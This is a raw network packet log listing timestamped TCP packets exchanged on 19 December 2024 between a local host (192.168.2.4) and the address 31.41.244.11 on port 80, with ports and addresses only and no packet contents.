Dec 19, 2024 14:10:13.129358053 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.129518032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.129525900 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.129633904 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.130558968 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.130628109 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.130683899 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.130810022 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.131556034 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.131634951 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.131706953 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.131706953 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.132596970 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.132760048 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.132761002 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.132816076 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.133667946 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.133874893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.134179115 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.134356022 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.134747028 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.134813070 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.134926081 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.134926081 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.135782957 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.135922909 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.136022091 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.136022091 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.136848927 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.136929989 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.137000084 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.137000084 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.138000965 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.138067007 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.138088942 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.138139009 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.138998032 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.139098883 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.139162064 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.139162064 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.140094042 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.140233040 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.140240908 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.140330076 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.141141891 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.141216040 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.141222000 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.141335964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.142210007 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.142328024 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.142352104 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.142421007 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.143286943 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.143345118 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.143383980 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.143512011 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.144330025 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.144433975 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.144454002 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.144495964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.145406008 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.145492077 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.145525932 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.145572901 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.146491051 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.146578074 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.146585941 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.146632910 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.147531033 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.147572994 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.147593021 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.147653103 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.148665905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.148761034 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.148811102 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.148886919 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.149667978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.149777889 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.149825096 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.149825096 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.150760889 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.150856018 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.150887012 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.150985003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.151803017 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.151863098 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.151923895 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.151974916 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.152931929 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.152973890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.152996063 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.153054953 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.153961897 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.154026031 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.154170036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.154170036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.155014992 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.155057907 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.155276060 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.155337095 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.156146049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.156205893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.156212091 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.156289101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.157136917 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.157262087 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.157269001 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.157341003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.158385992 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.158431053 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.158466101 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.158554077 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.159333944 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.159432888 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.159446001 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.159497023 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.160351992 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.160465956 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.160497904 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.160545111 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.161506891 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.161556005 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.161577940 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.161600113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.162498951 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.162642002 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.162682056 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.162755013 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.163623095 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.163671017 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.163708925 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.163708925 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.164684057 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.164743900 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.164781094 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.164829969 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.165683985 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.165851116 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.165868998 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.165987015 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.166915894 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.166984081 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.167148113 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.167227983 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.167963982 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.168034077 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.168042898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.168078899 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.168931961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.169043064 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.169070959 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.169120073 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.169946909 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.170037985 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.170098066 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.170147896 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.171111107 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.171168089 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.171245098 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.171293974 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.172131062 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.172202110 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.172602892 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.172676086 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.173208952 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.173261881 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.173286915 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.173310041 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.174216986 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.174280882 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.174316883 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.174381971 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.175304890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.175406933 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.175451994 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.175451994 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.176414013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.176472902 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.176578999 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.176635981 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.177602053 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.177670956 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.177762985 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.177856922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.178620100 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.178683996 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.178705931 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.178761959 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.179606915 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.179651976 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.179852962 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.179985046 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.180665970 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.180713892 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.180835962 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.180835962 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.181765079 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.181840897 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.181885958 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.181885958 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.182806969 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.182933092 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.182943106 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.182982922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.183867931 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.183943987 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.183943987 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.184015036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.184914112 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.185031891 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.321077108 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.321238995 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.321319103 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.321391106 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.321616888 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.321703911 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.321732044 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.321783066 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.322572947 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.322627068 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.322987080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.323093891 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.323632002 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.323721886 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.323754072 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.323818922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.324702024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.324754953 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.324785948 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.324919939 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.325777054 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.325828075 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.325834990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.325875044 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.326872110 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.326963902 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.327006102 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.327059031 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.327946901 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.328042030 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.328049898 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.328119040 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.328969002 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.329071045 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.329073906 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.329132080 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.330008984 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.330147028 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.330301046 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.330466032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.331089020 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.331145048 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.331181049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.331262112 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.332144022 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.332209110 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.332243919 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.332314968 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.333254099 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.333319902 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.333391905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.333467960 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.334326982 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.334429026 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.334434986 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.334484100 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.335433006 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.335499048 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.335535049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.335585117 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.336461067 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.336535931 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.336643934 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.336699963 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.337624073 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.337694883 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.337703943 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.337745905 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.338625908 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.338681936 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.338737965 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.338737965 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.339695930 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.339734077 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.339909077 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.339960098 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.340723991 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.340775967 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.340783119 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.340832949 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.341800928 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.341866016 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.341888905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.341969013 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.342895031 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.342987061 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.343054056 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.343107939 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.343950033 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.344038963 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.344074011 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.344149113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.345006943 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.345098972 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.345117092 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.345211029 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.346038103 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.346144915 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.346167088 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.346204042 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.347134113 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.347197056 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.347228050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.347307920 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.348187923 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.348299980 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.348300934 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.348373890 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.349263906 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.349327087 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.349369049 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.349369049 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.350394011 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.350459099 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.350516081 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.350637913 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.351460934 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.351604939 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.351614952 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.351650000 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.352488041 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.352612972 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.352627039 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.352655888 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.353842974 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.353961945 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.353998899 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.354069948 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.354670048 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.354739904 CET	80	49754	31.41.244.11	192.168.2.4
